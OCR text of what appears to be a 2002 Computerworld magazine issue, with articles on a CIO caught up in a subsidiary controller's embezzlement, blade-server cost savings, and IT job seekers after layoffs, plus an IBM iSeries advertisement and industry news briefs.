Iment  trail  going  back  four  years. 

The  CIO,  who  was  also  president  of 
one  of  the  company’s  subsidiaries,  was 
ultimately  implicated.  A  controller  at 
1  that  subsidiary  had  asked  him  to  sign 
a  document  he  shouldn’t  have:  a  letter 
that  helped  the  company  get  bank  cred¬ 
it  based  on  false  accounting  figures. 
While  signing  the  papers  didn’t 
j  cause  any  direct  financial  loss  to  the 

I  company,  the  CIO  had  unwittingly 
helped  conceal  the  fraud. 

The  CIO  “didn’t  know  of  the  embez¬ 
zlement.  We  didn’t  dispute  that,”  says  a 
lawyer  involved  with  the  case  at  the 
U.S.  attorney’s  office  in  Richmond,  Va. 

Ultimately,  the  CIO  pleaded  guilty  to 
one  count  of  felony  bank  fraud  after 
agreeing  to  help  prosecutors  in  their 
investigation.  He  was  sentenced  to  one 
day  in  jail  and  250  hours  of  community 
service. 

He  also  lost  his  job.  The  current 
president  and  CEO  of  the  parent  com¬ 
pany  is  loath  to  talk  about  the  CIO’s 
departure.  “His  contract  came  up  for 
renewal  shortly  after  the  embezzle¬ 
ment  was  uncovered  and  the  company 
chose  not  to  renew  it,”  the  CEO  says, 
declining  to  provide  further  details. 

“It  was  stupid  on  my  part,”  the  for¬ 
mer  CIO  says.  “Hundreds  of  things  get 
put  in  front  of  you  every  day  to  sign.  I 
was  in  the  middle  of  a  negotiation  on  a 
$75  million  contract.  I  was  also  going 
through  my  divorce.  And  I  trusted  the 
I  person,”  he  explains,  referring  to  the 
I  controller  who  had  prepared  the  letter. 
The  controller  eventually  pleaded 
guilty  to  charges  of  bank  fraud  and  is 
j  serving  six  years  in  a  West  Virginia 
i  prison  for  the  crime.  She  didn’t  respond 
to  written  requests  for  an  interview. 
Says  the  CIO,  who  must  report  to  a 
1  probation  officer  until  July  2003,  “You 
go  through  quite  a  learning  experience.” 
He’s  now  a  senior  officer  at  a  small 
j  company  that  provides  data  and  systems 
management  services.  He  says  he  puts 
I  his  painful  experience  in  play  every  day. 

Trail  of  Deceit 

1  A  key  lesson  IT  managers  can  learn 
jfrom  this  CIO’s  experience  is  how  a 
JBoftware  conversion  opened  the  doors 
■to  fraud. 

H  As  the  company  worked  to  replace  a 


homegrown  accounting  system  with  a 
package  from  South  Ware  Innovations 
Inc.  in  Auburn,  Ala.,  the  controller  at 
the  subsidiary  volunteered  to  train 
extensively  in  the  new  software. 

She  learned  the  system  inside  and 
out,  including  administrative  tools  nor¬ 
mally  used  only  by  IT  staff,  the  former 
CIO  says.  For  example,  if  a  computer 
crashed,  one-sided  accounting  entries 
were  possible,  he  says,  which  is  some¬ 
thing  most  financial  people  typically 
wouldn’t  know.  “It’s  knowledge  re¬ 
served  for  your  IT  department,”  he 
says.  “But  because  we  were  a  smaller 
company  and  didn’t  have  extra  bodies, 
[the  controller]  was  willing  to  put  up 
her  hand  and  say,  ‘I’ll  do  that.’  ” 

One  irony:  South  Ware  was  selected, 
in  part,  for  its  laudable  security  fea¬ 
tures.  But  technology  does  only  what 
it’s  instructed  to  do.  And  the  controller, 
who  ran  some  of  the  accounting  books, 
was  the  one  who  administered  security 
rights  to  the  accoimting  system  —  be¬ 
cause  of  her  in-depth  training. 

“That  was  one  of  the  most  dreadful 
mistakes  we  made,”  the  ex-CIO  ac¬ 
knowledges. 

“If  you  know  the  software  well 


enough,  you  can  override  it,”  says  the 
U.S.  attorney  who  worked  on  the  case. 
“That  was  the  essence  of  what  allowed 
her  to  get  away  with  this.” 

Another  area  to  watch:  The  compa¬ 
ny  had  several  subsidiaries,  each  with 
its  own  profit-and-loss  statements  that 
were  rolled  up  into  a  corporatewide 
accounting  system. 

The  setup  called  for  near-continu¬ 
ous  reconciliation  of  multiple  sets  of 
books  on  different  financial  software 
—  a  playground  for  a  thief.  A  favorite 
trick,  uncovered  later  in  the  investiga¬ 
tion,  was  to  record  a  lower-than-actual 
sales  figure,  then  cash  a  check  for  the 
difference. 

A  stream  of  acquisitions  during  the 
four  years  of  fraud  allowed  the  books 
of  several  subsidiaries  to  be  left  open 
without  raising  suspicions.  This  was 
despite  the  fact  that  the  companies  had 
already  been  absorbed. 

Elsewhere,  the  company  received 
monthly  statements  on  CDs.  It  was  lat¬ 
er  found  that  the  statements  had  been 
downloaded  and  manipulated  so  that 
the  checks  listed  on  the  statements 
showed  different  amounts  than  what 
they  were  actually  written  for. 


A  check  for  $25,000,  for  example, 
might  have  been  changed  to  a  less  eye¬ 
catching  figure.  Then  all  the  canceled 
paper  checks  were  hidden. 

Eventually,  the  controller  had  the 
company’s  bank  statements  sent  to  her 
house,  so  no  one  else  would  read  them, 
according  to  the  prosecutor. 

Even  when  bookkeeping  errors  be¬ 
gan  to  pile  up,  no  one  suspected  any¬ 
thing  nefarious,  the  CIO  says.  Looking 
back,  he  says,  “you  want  to  smack 
yourself  upside  the  head  and  say,  ‘Why 
did  you  continue  to  believe?’  ” 

That’s  a  mistake  that  many  compa¬ 
nies  make,  says  Wendy  Schmidt,  a  cor¬ 
porate  investigator  at  Deloitte  & 
Touche  LLP  in  New  York. 

“It  is  tough  with  a  person  who  may 
not  have  committed  a  crime  in  the  past 
to  get  a  handle  on  the  fact  that  that  is 
just  what’s  happening  before  your 
eyes,”  Schmidt  says. 

Lingering  Effects 

The  victimized  company,  meanwhile, 
is  still  deahng  with  the  crime.  The  Secu¬ 
rities  and  Exchange  Commission  start¬ 
ed  an  investigation  in  January  2001. 

The  SEC  declined  to  comment,  but 
the  company’s  CEO  insists  that  “it’s 
very  academic.”  All  of  the  company’s 
senior  managers  are  new  since  the 
fraud  was  discovered  in  1999.  New  in¬ 
ternal  controls  have  also  been  put  into 
practice  to  guard  against  a  similar 
crime,  he  adds. 

The  SEC  “will  come  to  conclusions 
and  say,  ‘You  shouldn’t  have  done  this 
or  that,’  but  it  will  be  talking  to  and 
about  people  who  aren’t  here  any¬ 
more,”  the  CEO  says.  “It’s  a  historical 
event.” 

Still,  in  its  quarterly  and  annual  fi¬ 
nancial  filings,  the  company  must  con¬ 
tinue  to  account  for  the  $15  million  loss 
and  the  costs  of  trying  to  recover  the 
stolen  money. 

The  controller  makes  periodic  resti¬ 
tution  payments  from  jail,  including 
one  made  in  September  for  $150. 

As  for  the  CIO,  he’s  continuing  his 
community  service  and  trying  not  to 
grow  cynical. 

“I  trust  the  people  I  work  with  and 
don’t  preach  to  my  children  that  you 
can’t  trust  anybody,”  he  says.  “I  don’t 
think  that’s  healthy.”  I 


Nash  is  a  freelance  writer  in 
Yorktown  Heights,  N.Y.  Contact 
her  at  kimnash2002@yahoo.com 

For  tips  on  how  to  track  down  infor- 
niation  about  employees  suspected 
of  corporate  crimes,  go  to: 
www.com|NJterwor1d.conVq?26736 
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But  widespread  use  of  blade  servers  is 
still  years  away,  experts  and  practition¬ 
ers  say.  By  Barbara  DePompa  Reimers 


WHILE  TOTAL  COST  of  Owner¬ 
ship  (TCO)  and  ROI  issues 
are  crucial  to  corporate  IT 
managers,  in  the  ivory  tow¬ 
er  world  of  supercomputing,  the  ongo¬ 
ing  costs  of  operating  these  high-per¬ 
formance  machines  are  only  now  start 
ing  to  become  important. 

Until  recently,  most  buyers  of 
supercomputing  power  have 
paid  little  attention  to  the  cost 
of  power  consumption,  space 
and  environmental  require¬ 
ments,  says  Wu  Feng,  technical  staff 
member  and  team  leader  of  research 
and  development  for  advanced  net¬ 
work  technology  at  Los  Alamos  Na¬ 
tional  Laboratory  in  New  Mexico. 

“In  the  next  decade,  size,  power  con¬ 
sumption,  reliability  and  ease  of  ad¬ 
ministration  will  be  the  key  perfor¬ 
mance  issues  in  supercomputing.  Big¬ 
ger  and  faster  machines  simply  won’t 
be  good  enough,”  he  explains. 

Feng’s  team  has  been  testing  RLX 
Technologies  Inc.’s  RLX  ServerBlades 
in  floating-point  applications  since 
November  and  has  found  several  ad¬ 
vantages  to  using  blade  servers  as 
commodity  clustering  servers  for  su¬ 
percomputing.  The  blades  from  The 
Woodlands,  Texas-based  RLX  were 
faster  to  deploy  and  are  easier  to  man¬ 
age  than  traditional  server  clusters. 

“  We  were  able  to  build  our  RLX 
cluster  and  get  our  code  running  in  less 
than  three  hours,  an  effort  that  normal¬ 


ly  takes  several  days,”  says  Feng. 

Meanwhile,  the  space  savings  of  the 
RLX  System  324  “is  a  factor  of  eight 
times  that  of  our  traditional  clusters,” 
Feng  notes.  And  the  price/performance 
of  the  RLX  ServerBlades  is  also  impres¬ 
sive,  he  adds.  “We  calculated  the  [peak] 
price/performance  ratio  of  a  24-blade 
configuration  of  the  RLX 
ServerBlades  to  be  $1.81  per 
millions  of  operations  per  sec¬ 
ond,  vs.  $6  to  $9  per  millions  of 
operations  per  second  for  tra¬ 
ditional  supercomputers,”  Feng  says. 

Though  first-generation  blade 
servers  are  just  starting  to  ship  (many 
are  still  in  beta  testing),  ear¬ 
ly  adopters,  including  Los 
Alamos  National  Laborato¬ 
ry  and  Washington-based 
application  service  provider 
(ASP)  Blackboard  Inc.,  are 
finding  that  blade  servers 
cost  30%  to  50%  less  than 
traditional  rack-mounted 
servers,  with  the  biggest 
savings  derived  from  their 
smaller  size  and  low  power- 
consumption  costs. 

Freed  of  the  physical 
bulk  and  componentry  of 
traditional  servers,  blades 
slide  into  slots  on  racks.  In 
most  cases,  blade  servers 
consist  of  processing  and 
storage  components  housed  in  a  rack 
unit  that  provides  network  and  exter¬ 


nal  storage  connections,  reducing  both 
cabling  and  space  requirements. 

Analysts  say  cost  savings  increase 
the  longer  these  systems  are  used. 
“Blade  servers  take  up  less  space,  gen¬ 
erate  less  heat,  use  less  power  and 
don’t  need  the  environmental  require¬ 
ments  of  air  conditioning  or  raised 
flooring,  as  larger  servers  require,” 
says  Tom  Manter,  research  director  at 
Aberdeen  Group  Inc.  in  Boston. 

ROI  Gotchas 

The  primary  caveat  in  trying  to 
achieve  quick  ROI  on  blade  servers 
largely  rests  on  how  well  the  process¬ 
ing,  networking  and  storage  features  are 
integrated.  “Any  cost  savings  can  quick¬ 
ly  be  eaten  away  if  maintaining  blade 
servers  becomes  complex  and  time- 
consuming,”  says  Jolm  Humphreys,  an 
analyst  at  IDC  in  Framingham,  Mass. 

Blade  server  customers  say  that  ini¬ 
tially,  the  savings  potential  is  worth 
close  examination.  Irving,  Texas-based 
Data  Return  Corp.,  an  e-commerce  ASP 
for  companies  such  as  H&R  Block  Inc., 
BMW  AG  and  Match.com  Inc.,  is  beta¬ 
testing  Compaq  Computer  Corp.  blade 
servers  to  save  space  and  lower  power 
consumption  costs,  including  thermal 
cooling  costs,  in  its  data  centers. 

“If  we  can  put  320  blade  servers  in 
the  same  space  previously  housing 
only  42  rack-mounted  servers,  we  sim¬ 
ply  must  give  that  option  a  try,”  says 
Stephen  Johnson,  group  program  man¬ 
ager  of  platform,  network  and  security 
technology  at  Data  Return.  A  typical 
server  rack  takes  up  about  25  square 
feet,  which  costs  customers  about  $300 
per  square  foot  on  average. 

Lower  operational  costs  have  also  at¬ 


tracted  Blackboard,  which  estimates 
that  it  will  save  more  than  50%  in  main¬ 
tenance  and  personnel  costs  this  year 
using  blade  server  technology  from 
Egenera  Inc.  in  Marlboro,  Mass. 

The  e-learning  and  online  training 
software  and  services  market  is  boom¬ 
ing  —  Boston-based  Eduventures.com 
Inc.  predicts  that  it  will  increase  from 
$4  billion  last  year  to  $11  billion  in  2003. 
So  Blackboard  will  strive  to  match  in¬ 
creased  demand  for  its  e-learning  tools 
and  services  by  doubling  its  server 
farm  from  300  to  600  by  year’s  end, 
according  to  Greg  Davies,  the  compa¬ 
ny’s  vice  president  of  engineering. 

The  company  is  currently  installing 
and  testing  its  first  rack  of  24  blade 
servers.  If  the  new  systems  perform  as 
expected,  half  of  the  servers  added  this 
year  are  likely  to  be  blades,  says  Davies. 

A  closer  look  at  Egenera’s  Blade- 
Frame  technology  last  fall  convinced 
Davies  that  blade  servers  could  help  re¬ 
solve  a  major  resource  problem.  “We 
needed  to  find  a  way  to  increase  the 
number  of  servers  a  single  person  could 
manage,”  he  says.  And  because  Egenera 
has  built  reliability,  redundancy  and 
availability  features  into  its  BladeFrame 
architecture,  Davies  decided  to  give  it  a 
try.  Blackboard  eventually  upped  its 
service-level  guarantees  for  ASP  cus¬ 
tomers,  based  on  the  specialized  fea¬ 
tures  Egenera’s  blade  servers  provide. 

“These  blade  servers  will  enable  us 
to  increase  the  value  [and  ultimately 
the  profitability]  of  our  ASP  offering,” 
Davies  says.  I 

DePompa  is  a  writer  and  editor  in 
Germantown,  Md.  Contact  her  at 
bdepompa@aol.com. 


COST  COMPARISON 


RLX 

TECHNOLOGIES 

1URACK 


RLX  BladeServer 

Traditional  1U  Server 

ACQUISITION  COST  ■ 

■  acquisition  COST 

336  server  blades 

$336,000 

336 1U  servers  at  $1,732  each 

$581,952 

14  chassis 

$35,000 

8  racks  at  $4,000  each 

$32,000 

Irack 

$4,000 

TOTAL 

$375,000 

TOTAL 

$613,952 

TCO  ANALYSIS  ■ 

1  TCO  ANALYSIS  | 

Acquisition  cost 

$375,000 

Acquisition  cost 

$613,952 

Power  cost/year 

Power  cost/year 

for  336  servers 

$1,736 

for  336  servers 

$25,052 

Deployment  cost 

Deployment  cost 

for  336  servers 

$4,939 

for  336  servers 

$8,400 

1 

Rental  and  provisioning 

Rental  and  provisioning  cost/year 

cost/year  for  Irack 

$7,500 

for  8  racks  at  $7,500  each 

$60,000 

TCO  FOR  1  YEAR 

$389,175 

TCO  FORI  YEAR 

$707,404 

IBM  @  server 


EXCHANGE  YOUR  EXCHANGE. 

AND  SAVE  UP  TO  38%.  YES,  38%. 


Reliability 


Presenting  the  IBM  @  server  iSeries™  Want  a  less 
expensive,  smarter  alternative  to  upgrading  to  Microsoft® 
Exchange  2000?  Want  to  keep  running  the  Outlook 

program  your  users  love, 
but  on  a  server  you’ll  love 
even  more?  Exchange  your 
Exchange  for  the  iSeries 
server.  It  lets  you  support 
thousands  of 

Fig.  1.  iSeries  Value  Proposition. 

Outlook  users 

on  one  reliable,  low-maintenance  server. 

With  iNotes™  Access  for  Microsoft  Outlook 
it’s  easy  to  consolidate  multiple  Exchange 
servers  onto  a  single  iSeries  running  Lotu^ 

Domino™  with  robust,  scalable  power.  And 
in  the  process,  help  bring  reliability,  secu¬ 
rity  and  functionality  up  —  while  keeping 
upgrade,  service  and  help-desk  costs  down. 


cost  up  to  38%  less  than  upgrading 
both  your  hardware  and  software  to 
Microsoft  Exchange  2000.' 


Fig.  2.  Happy  CFO. 


E-mail  graduates  to  reliability.  The 
architecture  of  the  iSeries  provides  a 
mainframe-inspired  environment,  where  Domino  parti¬ 
tions  are  isolated  from  one  another.  And  problems  in  one 
partition  wiU  rarely  affect  the  users  in  other  partitions. 
Partitions  can  even  automatically  restart  when  necessary. 

Save  up  to  38%  vs.  Exchange  2000.  K  reliability  and 
consolidation  aren’t  reasons  enough,  consider  this: 
Migrating  your  Outlook  system  to  Domino  for  iSeries  can 


(gserver 

Reliable,  scakdAe  servers  for  e-business. 


Same  front  end,  better  back  end. 

To  your  Outlook  users,  migration  to 
Domino  is  virtually  seamless.  They  use  the  same  client 
software  they’re  used  to,  but  can  now  get  the  benefits  of 
Domino,  like  working  offline  and  fuU-text  search.  It  also 
provides  optional  failover  and  load-bal¬ 
ancing  for  e-mail,  easier  administration, 
and  use  of  Domino  e-coUaboration  apps. 

It  only  gets  better.  IBM  is  one  of  the 
world’s  largest  software  companies, 
the  leader  in  middleware,  and  the 
name  in  reliable  servers.  To  find  out 
more  about  how  IBM  can  help  you, 
register  now  for  a  free,  live  e-briefing 
and  Q&A  session  with  an  IBM  expert. 
In  just  one  hour  (and  right  from  your 
desk)  you’ll  find  out  more  about  the 
iSeries  and  iNotes  Access  for 
Microsoft  Outlook,  including 
how  to  save  up  to  38%,  and 
other  reasons  why  it  makes 
so  much  sense  to  exchange 
your  Exchange.  Shouldn’t 
you  call  or  click  today? 


SAVE 
UP  TO  38% 

REGISTER 
FOR  OUR  FREE 
E-BRlEFlNG 


^  ibm.com/eserver/inotes71  Q  800  426  7777  code  102AG001 


•LEGAL  NOTE:  1  For  full  details,  see  wvw.lbm.com/eserver/iseries/domlno/lnoles/compare.html.  IBM,  the  e-business  logo,  and  iSeries  are  trademarks  or  registered  trademarks  of  International  Business  Machines  Corporation.  Lotus,  Doming  and  iNotes 
are  trademarks  or  registered  trademarks  of  Lotus  Development  Corporation.  Microsoft  is  a  registered  trademark  of  Microsoft  Corporation,  Other  company,  product  and  service  names  may  be  trademarks  or  service  marks  of  others.  ©2002  IBM  Corporation. 
Ail  rights  reserved. 
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A  YEAR  AGO,  Farren  lonita’s 
career  was  soaring.  She  had 
moved  through  the  ranks  at 
NBC.com  and  had  been 
snatched  away  by  an  up-and- 
coming  New  York  start-up,  StarMedia 
Network  Inc. 

But  when  she  lost  her  job  in  May 
during  the  flailing  company’s  third 
round  of  layoffs,  lonita  quickly  realized 
that  the  glory  days  were  over. 

Until  then,  her  achievements  in  the 
wireless  industry  had  been  catching 
the  attention  of  headhunters,  who 
called  her  regularly  with  job  offers. 

“They  were  like  vultures,”  lonita 
says.  But  when  she  was  looking  for 
work,  they  were  nowhere  to  be  found. 
“There  have  been  a  lot  of  layoffs,  even 
within  recruiting  firms,”  she  says. 

For  many  young  IT  professionals. 


the  abrupt  downturn  in  the  economy 
has  been  a  major  shock.  One  day,  they 
were  on  top  of  the  world.  The  next, 
they  were  victims  of  the  economy’s 
“unprecedented”  crash. 

But,  in  fact,  the  crash  wasn’t  un¬ 
precedented.  It  was  just  a  decade  ago 
when  many  of  the  yuppies  of  the  Rea¬ 
gan  years  found  themselves  out  of 
work.  Jobs  were  cut,  corporate  budgets 
were  slashed,  the  nation  was  at  war 
and  consumer  confidence  was  plum¬ 
meting.  Sound  familiar? 

That  recession  offered  lots  of 
lessons.  In  many  cases,  experienced 
workers  who  have  been  through  it  be¬ 
fore  are  handling  themselves  better  in 
the  current  downturn  than  the  young 
whiz  kids  who  have  taken  the  IT  world 
by  storm,  says  Allison  Hemming,  presi¬ 
dent  of  The  Hired  Guns,  a  New  York- 


based  interim  workforce  agency. 

Young  workers  entered  the  business 
world  with  a  strong  sense  of  entitle¬ 
ment,  says  Hemming,  who  created 
pink  slip  parties,  networking  events  for 
laid-off  workers  that  are  now  common 
nationwide.  More  experienced  work¬ 
ers  know  that  no  one  is  indispensable. 

“Some  of  the  older  people  who  have 
survived  this  are  sort  of  hunkering 
down  and  are  already  doing  things  to 
protect  themselves”  —  such  as  clean¬ 
ing  up  their  resumes  and  getting  their 
finances  and  savings  in  order  —  even  if 
they  haven’t  been  laid  off,  she  says. 

“The  Gen  Xers  graduated  into  a  re¬ 
cession,  so  they’re  more  skeptical  than 
anyone,”  Hemming  says.  “They  sort  of 
went  into  the  whole  dot-com  boom 
thinking,  ‘OK,  when’s  it  going  to  end?’  ” 
Times  are  certainly  tough.  Approxi¬ 


mately  2.5  million  workers  were  laid 
off  in  the  U.S.  last  year,  according  to 
the  Bureau  of  Labor  Statistics.  But  in 
many  ways,  job  seekers  have  a  lot  more 
going  for  them  today  than  they  did  10 
years  ago,  says  Hemming. 

For  starters,  there’s  the  Internet, 
which  offers  a  variety  of  resources  for 
the  unemployed.  There  are  also  more 
networking  opportunities.  Unlike  a 
decade  ago,  most  workers  today  expect 
to  move  from  company  to  company, 
and  as  the  economy  has  weakened,  a 
strong  network  of  job  seekers  has 
evolved.  Networking  among  former 
co-workers,  fellow  IT  association 
members  or  people  at  events  like  pink 
slip  parties  has  become  one  of  the 
most  effective  ways  to  land  a  new  job. 

“If  you’re  not  alone,  you’re  a  lot  bet¬ 
ter  off.  You  can  start  to  see  the  road 


With  the  current  wave  of  IT 
job  cutbacks,  those  who  have 
survived  previous  recessions 
have  some  valuable  insights. 
By  Melissa  Solomon 


ROLODEXES  full  of  business  cards  have  given  Farren  lonita  a  gold  mine  of  contacts  that 
keep  her  working  in  any  economy. 
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back  to  your  future,”  says  Hemming. 

lonita  spent  her  employment  hiatus 
scouting  for  opportunities.  She  did 
some  “trivial”  Web  design  work  so  she 
could  make  new  connections,  she  says. 
She  went  to  pink  slip  parties,  met  with 
job  coaches,  studied  the  top  industry 
magazines  and  sent  out  resumes,  even 
for  job  openings  that  weren’t  exactly 
what  she  was  looking  for.  In  some 
cases,  lonita  at  least  got  her  foot  in  the 
door,  which  prompted  new  job  leads. 

Her  persistence  paid  off.  Within  two 
and  a  half  months  of  her  layoff  from 
StarMedia,  lonita  landed  a  job  as  direc¬ 
tor  of  media  development  at  New 
York-based  Iquity  Systems  Inc. 

Opportunity  Knocks 

A  layoff  should  be  viewed  as  a  new 
opportunity,  says  David  Zimmer,  presi¬ 
dent  of  American  Eagle  Group,  a  War¬ 
rington,  Pa.-based  IT  consultancy. 

When  he  was  cut  from  his  job  selling 
electronic  messaging  software  in  the 
early  1990s,  Zimmer  had  been  planning 
to  start  his  own  consultancy.  The  layoff 
gave  him  the  time  to  do  it,  eliminated 
the  excuse  not  to  and  provided  him 
with  a  regular  unemployment  check. 

To  launch  his  consulting  career, 
Zimmer  spoke  with  a  former  colleague 
at  AT&T  Corp.  who  had  helped  him 


land  some  contract  work  there.  Eighty 
percent  of  jobs  are  found  through  per¬ 
sonal  networks,  so  build  yours,  and 
find  yourself  a  good  headhunter,  Zim¬ 
mer  advises. 

“Conferences  are  great  because  you 
go  and  meet  a  lot  of  people  very  quick¬ 
ly,”  Zimmer  says.  But  one  of  the  best 
strategies  is  to  volunteer  IT  services  at 
professional  associations  and  non¬ 
profit  organizations.  This  lets  people 
know  that  you’re  “a  go-getter,”  he  says. 

Brian  Sullivan,  a  senior  software 
engineer  at  Durham,  N.C.-based 
Datatek  Inc.,  has  never  been  laid  off, 
but  he  did  have  the  misfortune  of 
watching  the  bulk  of  his  colleagues  get 
the  ax  from  a  former  employer  in  the 
early  ’90s. 

From  his  own  experience  in  hiring, 
Sullivan  offers  the  following  advice: 
Research  a  company  before  going  in 
for  an  interview,  be  prepared  to  back 
up  what  you  say  on  your  resume,  and 
if  a  company  calls  you,  “under  no  cir¬ 
cumstances  do  you  pick  up  call  wait¬ 
ing,”  he  says. 

Steve  Ovadia,  vice  president  at 
ProActive  Solutions  Inc.,, a  Howell, 
N.J.-based  IT  consultancy,  suggests 
creating  a  strong  IT  work  portfolio. 
After  graduating  from  college  in  1991, 
during  the  thick  of  the  last  recession, 
Ovadia  spent  his  free  time  building  a 
portfolio  consisting  of  everything  he 
could  think  of  that  would  illustrate  his 
work  performance  —  letters,  charts, 
videos,  memos.  “The  portfolio  really 
did  it,”  he  says. 

But  Zimmer  warns  that  the  job- 
search  process  can  become  depressing. 
“People  get  wiped  out,  mentally  and 
emotionally,”  he  says,  so  it’s  important 
to  keep  perspective  after  a  layoff. 

“That  might  be  the  time  for  a  career 
change,  and  now  you  have  the  oppor¬ 
tunity  to  do  it,”  says  Zimmer. 

Back  Where  We  Started 

“John  Mark”  (who  asked  Computer- 
world  not  to  use  his  real  name  because 
he’s  in  the  midst  of  a  job  search)  has 
played  the  job  search  game  during  not 
one,  not  two,  but  three  recessions. 

The  first  time  was  in  the  early  ’80s, 
when  Mark  shifted  from  a  teaching  ca¬ 
reer  to  mainframe  computer  program¬ 
ming  and  systems  design. 

By  responding  to  newspaper  ads, 
Mark  landed  an  entry-level  job  at  The 
Reader’s  Digest  Association  Inc.  in 
Pleasantville,  N.Y.  Over  the  years,  he 
moved  up  through  the  IT  ranks  at  vari¬ 
ous  companies.  But  in  the  late  1980s, 
when  the  consulting  company  for 
which  he  was  working  took  a  turn  for 
the  worse,  his  position  was  cut.  Mark 


10  Tips  for 
Job  Seekers 

Allison  Hemming,  the  creator  of  pink  slip  parties, 
offers  the  following  advice  for  people  who  are  out  of  work: 


1  Gauge  your  finances  and  build  re¬ 
serves  to  survive  six  months  of  unem¬ 
ployment.  Financial  resources  on  the  Web 
include  San  Francisco-based  Financial 
Finesse  Inc.  iwww.financialfinesse.com) 
and  Alexandria,  Va.-based  The  Motley  Fool 
Inc.  iwww.fool.com). 


Don’t  take  the  first  job  that  comes 
your  way  out  of  desperation.  Consider 
taking  a  temporary  job  to  get  through  tough 
financial  times. 


3  Sign  up  for  unemployment  right 
away. 


4  Take  advantage  of  COBRA  health 
insurance  coverage.  Web  sites  such 
as  San  Francisco-based  ehlealthlnsurance 
Services  Inc.  iwww.ehealthinsurance.com) 
and  New  York-based  Working  Today  (www. 
workingtoday.org)  offer  information  or  low- 
cost  health  insurance. 


5  Keep  your  skills  up  to  date.  There 
are  government-funded  nonprofit 
agencies,  such  as  New  York-based  Futures 
in  Information  Technology,  that  offer  free 
retraining  for  IT  professionals. 


6  Don’t  get  down  on  yourself. 

"There's  a  mourning  period  after  a 
layoff,  which  most  people  don't  expect,” 


Flemming  says.  But  remember,  layoffs  are 
not  the  fault  of  the  workers.  After  the  mas¬ 
sive  growth  of  the  late  ’90s,  layoffs  were  in¬ 
evitable.  she  says.  If  you  can  afford  it,  take 
a  brief  vacation. 


7  Keep  yourself  on  a  schedule.  Set 

your  alarm  clock,  go  to  the  gym,  surf 
the  Web  for  job  listings,  work  on  your  r6- 
sumb,  meet  friends  for  coffee.  “If  you  have 
a  routine,  that's  going  to  spur  your  momen¬ 
tum,”  notes  Hemming. 


8  Separate  your  past  from  your  fu¬ 
ture.  If  you  go  into  an  interview  feeling 
angry  about  your  last  situation,  that  will 
come  through  in  the  interview.  If  need  be. 
take  an  hour  before  meeting  with  a  poten¬ 
tial  employer  to  think  about  how  you  can 
add  value  to  that  company. 


9  Take  advantage  of  outplacement 

services  offered  by  your  former  em¬ 
ployer.  They’re  free  services  that  can  be 
very  valuable.  “You  need  to  get  yourself 
ready  to  be  competitive,”  Hemming  says. 
“You’re  entering  boot  camp.” 


Don’t  spam  potential  employers. 

Sending  out  700  rfeumbs  and  form 
letters  is  not  the  way  to  go.  Personalize 
your  rbsume  and  cover  letters  to  highlight 
the  strengths  each  employer  is  looking  for. 


took  a  year  off  from  the  IT  workforce 
before  heading  back  into  consulting. 

“After  that,  I  was  pretty  much  steadi¬ 
ly  employed  in  one  job  after  the  next 
—  until  about  two  weeks  ago,”  he  says. 

During  Mark’s  last  stretch  of  unem¬ 
ployment,  landing  a  new  job  was  as 
easy  as  picking  up  the  phone.  But  this 
time,  it’s  different,  he  says. 

“I’ve  always  felt  a  sort  of  confidence 
that  I  can  get  a  job,”  he  says.  “I  don’t 
exactly  feel  that  way  right  now 
because  there  are  too  many  people 
out  of  work.” 

Mark’s  job-seeking  strategy  is  to  di¬ 
versify  his  search.  While  much  of  his 
experience  has  been  in  the  financial 
services  industry,  he  plans  to  look  for 
IT  jobs  in  government  and  health  care. 
“I  know  I  can’t  make  as  much  money 
there,  but  it’s  at  least  a  more  secure 


situation,”  he  says. 

Mark  also  plans  to  give  updated  re¬ 
sumes  and  applications  to  his  former 
employers,  call  on  old  friends  and 
headhunters,  and  post  his  resume  on 
Monster.com,  a  Maynard,  Mass.-based 
online  job  board. 

“So  my  whole  scheme  at  this  point  is 
a  lot  different  than  it  used  to  be,”  he 
explains.  “I  think  it’s  going  to  be  a  lot 
more  difficult.  I  could  be  wrong,  and  I 
hope  I  am. 

“When  it’s  closer  to  home,  it  seems 
worse,”  Mark  adds.  “What’s  the  old 
joke?  It’s  a  recession  when  your  friends 
are  out  of  work,  but  it’s  a  depression 
when  you’re  out  of  work.”  ► 


(Mck 

LinkO 


What  one  IT  pro  did  to  survive  the 
recession  a  decade  ago  could  help 
you  in  your  job  search  today: 
www.coinputerworW.coni/t;7265<>3 
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BRIEFS 


BP  Outsources  IT  Services 
Under  $360M  Contract 

Science  Applications  International  Corp. 
(SAIC)  will  provide  consolidated  IT  infrastruc¬ 
ture  and  managed  services  to  London-based 
BP  PLC  under  a  $360  million,  four-year  deal 
announced  last  week.  San  Diego-based  SAIC 
will  act  as  a  single  point  of  contact  for  all  IT 
services,  including  data  management,  Web 
development,  applications  support  and  admin¬ 
istration,  and  selected  consulting  services,  to 
all  of  BP’s  Houston  business  units. 


Coors  Taps  Benefits  System 

Adolph  Coors  Co.  in  Golden,  Colo.,  last  week 
announced  that  it  has  rolled  out  Minneapolis- 
based  Ceridian  Corp.’s  LifeWorks  employee 
benefits  system,  which  includes  online  con¬ 
sultation,  referrals  and  educational  materials. 
The  system  is  intended  to  help  Coors  employ¬ 
ees  with  work/life  issues,  such  as  child  care 
needs  or  financial  planning.  The  brewing  com¬ 
pany  is  using  LifeWorks  to  complement  its 
internal  employee  assistance  program. 

Qwest  Drops  Plan  to  Share 
Customer  ying  Information 

Qwest  Communications  International  Inc.  has 
backed  down  from  a  plan  to  share  customer 
calling  information,  such  as  when,  where  and 
to  whom  calls  were  made,  with  its  divisions. 

A  coalition  of  state  attorneys  general  said 
such  sharing  should  be  allowed  only  if  a  cus¬ 
tomer  “opts  in”  or  gives  consent.  The  Denver- 
based  firm  said  it  will  await  a  Federal  Com¬ 
munications  Commission  ruling,  due  later  this 
year,  before  making  a  final  decision. 

TJX  Inks  $35M  Deal  With 
Fujitsu  for  POS  Terminals 

Framingham,  Mass.-based  The  TJX  Cos.  last 
week  signed  a  three-year  deal  worth  more 
than  $35  million  with  Fujitsu  Transaction 
Solutions  Inc.  in  Dallas  to  replace  its  point-of- 
sale  (POS)  terminals.  The  deal  calls  for  more 
than  12,000  Fujitsu  TeamPoS  2000  terminals 
to  be  installed  in  TJX's  1,666  stores  and  in  the 
600  stores  that  will  be  built  during  the  next 
three  years.  TJX  owns  T.  J.  Maxx,  Marshalls, 
HomeGoods  and  A.J.  Wright  stores  in  the 
U.S.;  Winners  and  HomeSense  stores  in 
Canada;  and  T.K.  Maxx  stores  in  Europe. 


BUSINESS 


You 


Can  Avoid 
CRM’s  Pitfalls 


